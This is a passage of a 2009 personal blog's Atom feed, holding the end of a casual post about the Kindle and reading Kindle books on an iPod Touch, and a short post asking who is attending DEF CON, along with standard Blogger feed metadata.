it is the &lt;a href="http://en.wikipedia.org/wiki/E_Ink"&gt;e-ink&lt;/a&gt; screen, and the always on internet connection. Whenever I look at one though, all I think is....That isn't in color. The price is to high, for even an impulse gadget buyer like myself. I could only justify getting a Kindle DX if I were a student and I knew that the text books I would have to buy would be significantly cheaper. I don't have a kindle, I do have an ipod Touch, which interestingly enough has a kindle app, so that you can read kindle books on your ipod, and while the tables and charts in the books I read are pretty much destroyed, I find that I can read faster with the touch than an in print book. I believe this has to do with the large size of the text more than anything. So if you read a lot, I suggest you get it(kindle app for ipod). There are a couple of great free books in the kindle store, like one of my old favorites, &lt;a href="http://www.amazon.com/Assassins-Apprentice-ebook/dp/B000FBFMG6/ref=dp_kinw_strp_1?ie=UTF8&amp;qid=1242234981&amp;sr=8-1"&gt;The Assassin's Apprentice&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PS I think the trick is the other two books that complete the series, aren't free.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-4286587811223907693?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/4286587811223907693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=4286587811223907693' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4286587811223907693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4286587811223907693'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/05/kindleer-sort-of.html' title='The kindle...er sort of...'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-8306306730551791474</id><published>2009-05-04T07:40:00.000-07:00</published><updated>2009-05-04T07:41:20.991-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='convention'/><category scheme='http://www.blogger.com/atom/ns#' term='defcon'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Who's going to defcon this year?</title><content type='html'>I AM WOOT!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you want to meet up with me at sometime let me know.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-8306306730551791474?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/8306306730551791474/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=8306306730551791474' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/8306306730551791474'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/8306306730551791474'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/05/whos-going-to-defcon-this-year.html' title='Who&apos;s going to defcon this year?'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>1</thr:total></entry></feed>
